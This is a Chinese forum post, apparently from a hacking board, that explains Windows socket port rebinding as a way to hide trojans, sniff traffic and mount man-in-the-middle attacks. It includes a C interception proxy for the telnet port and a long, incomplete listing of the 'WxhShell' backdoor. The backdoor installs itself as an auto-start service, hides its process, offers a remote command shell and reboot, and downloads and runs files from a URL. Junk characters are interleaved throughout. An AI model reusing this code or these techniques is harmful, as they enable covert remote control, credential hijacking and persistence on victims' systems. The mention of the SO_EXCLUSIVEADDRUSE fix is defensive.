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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \!+-4,CbZY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u\{qH!?t  
?w+ QbT  
  saddr.sin_family = AF_INET; QP6z?j.  
DR k]{^C~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -A/ds1=;  
K<@[_W+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zVM4BT(  
le7 `uz!%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?xtt7*'D  
kAZC"qM%i  
  这意味着什么?意味着可以进行如下的攻击: R* s* +I  
V#ndyUM;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xn(+G$m  
8{R_6BS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qs|OG  
,M\j%3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J0^{,eY<  
cPpu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5cD XWF  
h [nH<m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n?'d|h  
&EAk z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 79)A%@YHQQ  
Ya}T2VX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CJzm}'NY  
s~S?D{!  
  #include NTqo`VWe  
  #include [f<"p[  
  #include JNh=fvO2i  
  #include    K!3{M!B   
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y)$52m5rM  
  int main() QJx9I_  
  { MV%Xhfk  
  WORD wVersionRequested; )-=2w-ZX  
  DWORD ret; mJ)tHv"7  
  WSADATA wsaData; TE3*ktB{N  
  BOOL val; (# JMB)  
  SOCKADDR_IN saddr; @Z?7E8(  
  SOCKADDR_IN scaddr; 6fh{lx>  
  int err; yZq?B  
  SOCKET s; LO"_NeuL  
  SOCKET sc; B;VH`*+X  
  int caddsize; >&bv\R/  
  HANDLE mt; Rr%tbt.sE  
  DWORD tid;   $bk>kbl P  
  wVersionRequested = MAKEWORD( 2, 2 ); aK]7vp+  
  err = WSAStartup( wVersionRequested, &wsaData ); @u,+F0Yd  
  if ( err != 0 ) { TbOJp  
  printf("error!WSAStartup failed!\n"); [}z?1Gj;W(  
  return -1; IuNkfBe4m  
  } ]Z _$'?f  
  saddr.sin_family = AF_INET; l;Q >b]DZ  
    ylk{!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cL#-*_(  
cv3L&zg M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3 h#s([uL  
  saddr.sin_port = htons(23); r,5-XB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $4=Ne3 y  
  { [M4xZHd#o  
  printf("error!socket failed!\n"); sF y]+DB  
  return -1; yL.^ =  
  } +Y7Pg'35  
  val = TRUE; M~-h-tG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V|TA:&:7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z;J  
  { JfMJF[Mb  
  printf("error!setsockopt failed!\n"); QV0M/k<'  
  return -1; @|DmE!)  
  } pjACFVMFX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zt?h^zf}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0A.PD rM:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _ j~4+H  
oew|23Ytb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qmEoqU  
  { z OtkC3hY  
  ret=GetLastError(); f3 !n$lj  
  printf("error!bind failed!\n"); _74UdD{^o  
  return -1; m=H_?W;  
  } Vn'?3Eb<  
  listen(s,2); P@C c]Z  
  while(1) `mrCu>7  
  { |"Z-7@/k$i  
  caddsize = sizeof(scaddr); 0C]4~F x~  
  //接受连接请求 o5P&JBX<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %VWp&a8  
  if(sc!=INVALID_SOCKET) gt/!~f0r  
  { )!A 2>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NEMEY7De2  
  if(mt==NULL) \7yJ\I  
  { #pX8{Tf[  
  printf("Thread Creat Failed!\n"); v;Es^ YI  
  break; WHP;Neb6  
  } G.Tpl-m  
  } !3h{lE B  
  CloseHandle(mt); Je^Y&a~  
  } vevf[eO-  
  closesocket(s); 4f!dY o4L  
  WSACleanup(); QWw"K$l  
  return 0; BhLZ7*  
  }   ^#;RLSv   
  DWORD WINAPI ClientThread(LPVOID lpParam)  //<:k8  
  { %*jGim~s  
  SOCKET ss = (SOCKET)lpParam; : W~f;k  
  SOCKET sc; &mcR   
  unsigned char buf[4096]; "qS!B.rt:  
  SOCKADDR_IN saddr; jn^fgH ?  
  long num; Oxv+1Ub<Dv  
  DWORD val; G,]z (%  
  DWORD ret; bE d?^h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zks#EzQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;, rnk-  
  saddr.sin_family = AF_INET; d@ZoV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /ERNS/w  
  saddr.sin_port = htons(23); Zi/-~')E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6 Uw;C84!  
  { NI8~QeGah  
  printf("error!socket failed!\n"); KzG_ <<  
  return -1; uf]Y^,2  
  } E5gl^Q?Z  
  val = 100; &:No}6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .b,~f  
  { <(YF5Xm6$h  
  ret = GetLastError(); FZp<|t  
  return -1; n' ?4.tb  
  } "U{,U`@?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r1G8]agO  
  { 4 \ F P  
  ret = GetLastError(); |'<vrn  
  return -1; xl8#=qmCD  
  } y\#o2PVmY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s`c?:  
  { j=W@P-  
  printf("error!socket connect failed!\n"); C`0%C7  
  closesocket(sc); |{f~Ks%  
  closesocket(ss); VjB*{,  
  return -1; kwlC[G$j7  
  } .!yq@Q|=u  
  while(1) 4fty~0i=z  
  { uoCGSXsi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Szts<n5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E*k([ZL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TV=c,*TV  
  num = recv(ss,buf,4096,0); K2HvI7$-  
  if(num>0) ZoxS*Xk  
  send(sc,buf,num,0); X2^_~<I{,  
  else if(num==0) 6e# wR/  
  break; Cw#V`70a  
  num = recv(sc,buf,4096,0); Lm|al.Z  
  if(num>0) Vv4H:BK$  
  send(ss,buf,num,0); SA+d&H}Fc  
  else if(num==0) _CE9B e\  
  break; &$#99\ /  
  } .S!-e$EJ  
  closesocket(ss); O>AFF@=  
  closesocket(sc); Pq?*C;D  
  return 0 ; v9rVpYc"  
  } Q#pnj thM  
h<% U["   
~<,Sh~Ana.  
========================================================== H&bh<KPMh  
7/"@yVBW  
下边附上一个代码,,WXhSHELL 6m[9b*s7  
oLS7`+b$  
========================================================== Pm^lr!3p  
`W"G!X-  
#include "stdafx.h" j#3m|dQ  
TQJF+;%  
#include <stdio.h> }g{_AiP rv  
#include <string.h> 2y kCtRe  
#include <windows.h> 9p`r7:  
#include <winsock2.h> JIxiklk  
#include <winsvc.h> M&yqfb[  
#include <urlmon.h> lzDdD3Ouc  
]"sRS`0+  
#pragma comment (lib, "Ws2_32.lib") v[&'k\  
#pragma comment (lib, "urlmon.lib") ,I`_F,  
tD-gc ''H  
#define MAX_USER   100 // 最大客户端连接数 _whF^g8  
#define BUF_SOCK   200 // sock buffer |<(t}}X  
#define KEY_BUFF   255 // 输入 buffer XLb0 9;  
9m8ee&,  
#define REBOOT     0   // 重启 tU:FX[&?R  
#define SHUTDOWN   1   // 关机 Qq3fZ=  
`6F +Rrn  
#define DEF_PORT   5000 // 监听端口 w$>3pQ8d  
jBpVxv  
#define REG_LEN     16   // 注册表键长度 3cC }'j  
#define SVC_LEN     80   // NT服务名长度 1[DS'S  
0S.?E.-&0  
// 从dll定义API "={L+di:M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v!trsjb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `?uPn~,e8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +< KNY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FH*RU1Z  
FkB{ SC J  
// wxhshell配置信息 :;4SQN{2 O  
struct WSCFG { ~/|zlu*jpc  
  int ws_port;         // 监听端口 gs`> C(  
  char ws_passstr[REG_LEN]; // 口令 RrWNJ&o  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y6ben7j%-  
  char ws_regname[REG_LEN]; // 注册表键名 f1Zt?=  
  char ws_svcname[REG_LEN]; // 服务名 kCA5|u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cNj*E =~;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 io4aYB\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'ere!:GJD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^,V[nfQR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <TxC!{<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lLCdmxbT  
#T\  
}; 0M8.U  
&+r 4  
// default Wxhshell configuration El6bD% \G  
struct WSCFG wscfg={DEF_PORT, g$3> ~D  
    "xuhuanlingzhe", >}SRSqJu  
    1, JD~aUB%  
    "Wxhshell", &71e5<(dG  
    "Wxhshell", (F8AL6  
            "WxhShell Service", {oWsh)[x2  
    "Wrsky Windows CmdShell Service", "^%Z'ou  
    "Please Input Your Password: ", R0<< f]  
  1,  U:|H9+5  
  "http://www.wrsky.com/wxhshell.exe", J&6:d  
  "Wxhshell.exe" Gzm$OHbn  
    }; o~C('1Fdb  
U CY2 ]E  
// 消息定义模块 )#`H."Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \+Y!ILOI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GDPo`# ~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HFS+QwHW  
char *msg_ws_ext="\n\rExit."; jvs[ /  
char *msg_ws_end="\n\rQuit."; 6c<ezEJ  
char *msg_ws_boot="\n\rReboot..."; Q6^x8  
char *msg_ws_poff="\n\rShutdown..."; 6fwY$K\X  
char *msg_ws_down="\n\rSave to "; T=\!2gt  
)^ <3\e  
char *msg_ws_err="\n\rErr!"; ?63&g{vA  
char *msg_ws_ok="\n\rOK!"; \##`pa(8  
+v15[^F  
char ExeFile[MAX_PATH];  Q2\  
int nUser = 0; [ rdsv  
HANDLE handles[MAX_USER]; ',mW`ZN  
int OsIsNt; S()Za@ [a$  
s[c^"@HT  
SERVICE_STATUS       serviceStatus; eb!_ie"D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^l!L)iw  
!k<:k "7  
// 函数声明 ]rW8y%yD  
int Install(void); AS;.sjgk  
int Uninstall(void); G|9B )`S  
int DownloadFile(char *sURL, SOCKET wsh); z{?4*Bq  
int Boot(int flag); yP\Up  
void HideProc(void); ("Dv>&w9  
int GetOsVer(void); ZBc|438[  
int Wxhshell(SOCKET wsl); 8D~x\!(p\  
void TalkWithClient(void *cs); rt b*n~  
int CmdShell(SOCKET sock); k dU! kj  
int StartFromService(void); D,rZ0?R  
int StartWxhshell(LPSTR lpCmdLine); Z+idLbIs  
+?d}7zh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HDS"F.l5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \*"`L3  
km\%BD~  
// 数据结构和表定义 nNn56&N]  
SERVICE_TABLE_ENTRY DispatchTable[] = fk3kbdI  
{ 8/Rm!.8+~  
{wscfg.ws_svcname, NTServiceMain},  c8DZJSO  
{NULL, NULL} T;?+kC3  
}; K.DXJ UR  
77We;a  
// 自我安装 UR3$B%i  
int Install(void) Alz~-hqQ  
{ @{}rG8  
  char svExeFile[MAX_PATH]; 3jPB#%F  
  HKEY key; >oqZ !V5[  
  strcpy(svExeFile,ExeFile); |9,UaA  
Z> 74.r  
// 如果是win9x系统,修改注册表设为自启动 p`>d7S>"  
if(!OsIsNt) { p&3> `C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I/s.xk_i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J22r v(  
  RegCloseKey(key); '29WscU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;$!I&<)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +1@AGJU3  
  RegCloseKey(key); =A n`D  
  return 0; b5 Q NEi  
    } \Ph7(ik  
  } C\Ayv)S #2  
} pm]fQ uq  
else { @"8R3BN  
;<-7*}Dj  
// 如果是NT以上系统,安装为系统服务 rn" pKUd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \P?A7vuhLs  
if (schSCManager!=0) s4,(26y  
{ 1K[(ou'rl  
  SC_HANDLE schService = CreateService uva\0q  
  ( r_2b tpL^  
  schSCManager, hC>wFC  
  wscfg.ws_svcname, - ]Y wl  
  wscfg.ws_svcdisp, 6k9LxC:M  
  SERVICE_ALL_ACCESS, UqtHxEI%R~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /`+7_=-  
  SERVICE_AUTO_START, *K)0UKBr  
  SERVICE_ERROR_NORMAL, 4e9E' "8%  
  svExeFile, 8:{ q8xZ=k  
  NULL, tWk{1IL  
  NULL, zM59UQU;  
  NULL, abWl ut  
  NULL, GZ3/S|SMP  
  NULL ")M;+<c"l  
  ); ;[Tyt[  
  if (schService!=0) \ X$)vK  
  { -P#nT 2  
  CloseServiceHandle(schService); ;.s: X  
  CloseServiceHandle(schSCManager); Kbas-</Si  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \"d?=uFe  
  strcat(svExeFile,wscfg.ws_svcname); ?}sOG?{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v*r9j8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `C'}e  
  RegCloseKey(key); V^En8  
  return 0; cU+>|'f &  
    } d8:C3R  
  } Gah lS*W  
  CloseServiceHandle(schSCManager); k18$JyaG  
} Y:pRcO.4g  
} :_H>SR:  
Jsn <,4DO8  
return 1; ]kS7n @8  
} q^Inb)FeN  
]{Ek[Av  
// 自我卸载 ,!>fmU`E4  
int Uninstall(void) 6V;:+"BkJ  
{ :6u~aT/  
  HKEY key; kF-TG3  
:`J>bHE  
if(!OsIsNt) { M=%!IT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0j$OE  
  RegDeleteValue(key,wscfg.ws_regname); hW%p#g;  
  RegCloseKey(key); FpzP #;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Bu9Nq  
  RegDeleteValue(key,wscfg.ws_regname); EcW1;wH  
  RegCloseKey(key); *V|zx#RN  
  return 0; p7UTqKi  
  } wLMvC{5  
} bp%S62Dj  
} J @B4 R&V  
else { k4R4YI"jV  
1Z:R,\+L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +/q0Y`v  
if (schSCManager!=0) yW> RRE;  
{ J3&Sj{ o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JS7dsO0;  
  if (schService!=0) F< |c4  
  { ifrq  
  if(DeleteService(schService)!=0) { <E}N=J'uJ  
  CloseServiceHandle(schService); t/ eo]  
  CloseServiceHandle(schSCManager); P6we(I`"2  
  return 0; + *a7GttU  
  } IJIQ" s  
  CloseServiceHandle(schService); S'@=3)  
  } N D* ]gM  
  CloseServiceHandle(schSCManager); BD'NuI  
} xt))]aH  
} kY!C_kFcn  
i4VK{G~g"  
return 1; $e1:Q#den2  
} V6+Zh>'S  
7j T}{ x  
// 从指定url下载文件 Omb.53+  
int DownloadFile(char *sURL, SOCKET wsh) ~ B]jV$=  
{ ~04[KG  
  HRESULT hr; O PiaG!3<  
char seps[]= "/"; M.[wKGX(  
char *token; K;C_Z/<%  
char *file; VN+\>j-  
char myURL[MAX_PATH]; w, 7Cr  
char myFILE[MAX_PATH]; z1Q2*:)c  
8^T2^gs  
strcpy(myURL,sURL); UoRDeYQ`E  
  token=strtok(myURL,seps); -<d(  
  while(token!=NULL) !x_t`78T  
  { B^m!t7/,  
    file=token; k_O-5{  
  token=strtok(NULL,seps); >13/h]3  
  } l0#4Fma  
$WClpvVj  
GetCurrentDirectory(MAX_PATH,myFILE); * gHCy4u{  
strcat(myFILE, "\\"); MCHOK=G  
strcat(myFILE, file); b[0S=e G  
  send(wsh,myFILE,strlen(myFILE),0); zn^v!:[  
send(wsh,"...",3,0); O+vcs4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OQc{ V  
  if(hr==S_OK) {? 2;0}3?;  
return 0; d<v~=  
else 2_N/wR#=&  
return 1; w&C1=v -h  
#%WCL'6B  
} [DhEh@  
1t#XQ?8  
// 系统电源模块 .FJ j  
int Boot(int flag) !l"tI#?6W%  
{ f?5A"-NS  
  HANDLE hToken; m0C{SBn-M  
  TOKEN_PRIVILEGES tkp; dq2@6xd  
Dt|fDw$]D  
  if(OsIsNt) { 19&)Yd1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %yKKUZ~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _'lmCj8L  
    tkp.PrivilegeCount = 1; UEN56@eCNf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j%u8=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E@mkm  
if(flag==REBOOT) { HT-PWk>2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8? F 2jv  
  return 0; nqeVV&b!  
} 6Wb!J>93  
else { _[%n ~6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nUqL\(UuY  
  return 0; ]Y=S  
} <b'1#Pd>0  
  } S2bexbp0o  
  else { D@*|24y  
if(flag==REBOOT) { [tz u;/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u ]SZ{[ e  
  return 0; EO"6Dq(  
} F Nlx1U[  
else { yeNvQG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :i}@Br+R7L  
  return 0; UT~4Cfb  
} `xGT_0&ck  
} @Rf^P(  
tbS#^Y  
return 1; )tCx5 9  
} ,A?{~?u.  
@x*.5:[  
// win9x进程隐藏模块 EFD?di)s  
void HideProc(void) _ }^u-fJ/~  
{ 3jS7 uU  
CMFC"eS e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <irpmRQr  
  if ( hKernel != NULL ) _trpXkQp  
  { "H@Fe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Eny!R@u7q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z :? :  
    FreeLibrary(hKernel); {H'X)n$  
  } ZLuPz#  
+2El  
return; yE<,Z%J[n  
} oLd:3,p}  
X= SG  
// 获取操作系统版本 8M~u_`6  
int GetOsVer(void) ~Z7)x7 z  
{ 1S&0  
  OSVERSIONINFO winfo; \UhGGg%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X4Lsvvz%@  
  GetVersionEx(&winfo); yj'Cy8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $8=(I2&TW  
  return 1; my]P_mE  
  else hj+p`e S  
  return 0; :Fc8S9  
} -&$%|cyThQ  
>6w@{p2B  
// 客户端句柄模块 Y1|^>C#a  
int Wxhshell(SOCKET wsl) i"vDRrDe  
{ YT][\x  
  SOCKET wsh; +<z7ds{Z  
  struct sockaddr_in client; fs7~NY  
  DWORD myID; pRb<wt7v  
8pd&3G+  
  while(nUser<MAX_USER) k~& o  
{ 50COL66:7  
  int nSize=sizeof(client); M`(;>Kp7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {rz>^  
  if(wsh==INVALID_SOCKET) return 1; raSF3b/0  
@ }ZGY^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R&gWqt/  
if(handles[nUser]==0)  ]LMiMj  
  closesocket(wsh); i:;$oT  
else uht(3  
  nUser++; _@7(g(pY 3  
  } { qjUI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1]HHe*'Z  
 GsI[N%  
  return 0; . c#90RP  
} Oxpo6G  
58 kv#;j  
// 关闭 socket 2lF WW(  
void CloseIt(SOCKET wsh) y)0gJP L^  
{ <. ezw4ju  
closesocket(wsh); r!CA2iK`  
nUser--; $tEdBnf^ca  
ExitThread(0); HhzkMJR8  
} dP?nP(l  
* q+oeAYX  
// 客户端请求句柄 Ct-rD79l  
void TalkWithClient(void *cs) N!]PIWnC  
{ i[mC3ghM6,  
!'+\]eA  
  SOCKET wsh=(SOCKET)cs; <##|311o  
  char pwd[SVC_LEN]; fi 5YMYd1  
  char cmd[KEY_BUFF]; ux%&lff  
char chr[1]; ^*HVP*   
int i,j; H^ESA s6  
',:3>{9  
  while (nUser < MAX_USER) { XC :;Rq'j  
d~w}NK[(  
if(wscfg.ws_passstr) { u<$S>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /5&3WG&<u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E*Pz <  
  //ZeroMemory(pwd,KEY_BUFF); 6Wf*>G*h  
      i=0; v`@5enr  
  while(i<SVC_LEN) { ?.]o_L_K  
i-|/2I9%  
  // 设置超时 ,G/\@x%  
  fd_set FdRead; 8}Fw%;Cb  
  struct timeval TimeOut; zuK/(qZ  
  FD_ZERO(&FdRead); z]'|nX  
  FD_SET(wsh,&FdRead); -$'~;O3s  
  TimeOut.tv_sec=8; 3csm`JVK  
  TimeOut.tv_usec=0; M-{b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vd2uD2%con  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q@PJ)fwN  
' #;,oX~5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K(%dcUGDK>  
  pwd=chr[0]; VFQq`!*i  
  if(chr[0]==0xd || chr[0]==0xa) { x8\E~6`,  
  pwd=0; iK$Vd+Lgc  
  break; f6keWqv<GW  
  }  JsZAP  
  i++; Bu*W1w\  
    } a7ub.9>  
|Ba4 G`  
  // 如果是非法用户,关闭 socket 3?a0 +]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 53g8T+`\(  
} >xhd[  
dt`9RB$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \] tq7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2U-#0,ll]  
"`gfy  
while(1) { )$2%&9b  
]#vvlM>/  
  ZeroMemory(cmd,KEY_BUFF); :DS2zA  
R[mH35D/  
      // 自动支持客户端 telnet标准   }CB=c]p  
  j=0; MAm1w'ol"  
  while(j<KEY_BUFF) { oO!1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (mD-FR@#  
  cmd[j]=chr[0]; /\IAr,w[  
  if(chr[0]==0xa || chr[0]==0xd) { x!Z:K5%O  
  cmd[j]=0; F{a0X0ru~  
  break; S!`4Bl  
  } @d8&3@{R^  
  j++; g=8|z#S  
    } ):|G k Sm  
TFiuz; *|  
  // 下载文件 V0SW 5 m  
  if(strstr(cmd,"http://")) { ;o~+2Fir  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  [%gK^Zt  
  if(DownloadFile(cmd,wsh)) 3Hb .Z LE#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pIU#c&%<9  
  else Zztt)/6*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pq/ FLYiv  
  } Thht_3_C,f  
  else { v*C+U$_3\1  
lx A<iQia  
    switch(cmd[0]) { S0Rf>Eo4  
  HJ2]Nz:   
  // 帮助 'O\d<F.c$2  
  case '?': { H{Y5YTg]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O+{pF.P#V  
    break; o{S}e!Vb  
  } W<cW;mO  
  // 安装 tk3<sr"IQ  
  case 'i': { ne !j%9Ar  
    if(Install()) 7gZVg@   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {kRDegby  
    else Skr\a\ J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MA/"UV&M(  
    break; VOowA^  
    } XNkQk0i;g&  
  // 卸载 Cn6n4, 0  
  case 'r': { rw=UK`  
    if(Uninstall()) 6N)< o ;U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aPY>fy^8D  
    else 82Z[eo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E,ZB;  
    break; Mo/2,DiI5  
    }  "df13U"  
  // 显示 wxhshell 所在路径 3[|:sa8?s  
  case 'p': { ' q=NTP  
    char svExeFile[MAX_PATH]; x3Dg%=R  
    strcpy(svExeFile,"\n\r"); }v'PY/d.  
      strcat(svExeFile,ExeFile); a@S4IoBg%  
        send(wsh,svExeFile,strlen(svExeFile),0); #(26t _a  
    break; ?hry=I(7r  
    } k^'d@1z;C  
  // 重启 gN!E*@7  
  case 'b': { +hyWo]nW0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yp^[]Mz=  
    if(Boot(REBOOT)) .JD4gF2N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0T{c:m~QXe  
    else { {'=Nb 5F  
    closesocket(wsh); pdcwq~4~%  
    ExitThread(0); CL<KBmW7  
    } ,XBV}y  
    break; Dbkuh!R  
    }  n_xa)  
  // 关机 <De3mZb  
  case 'd': { cciAMQhA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @3expC  
    if(Boot(SHUTDOWN)) 5.C[)`_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P98X[0&  
    else { \0^rJ1*  
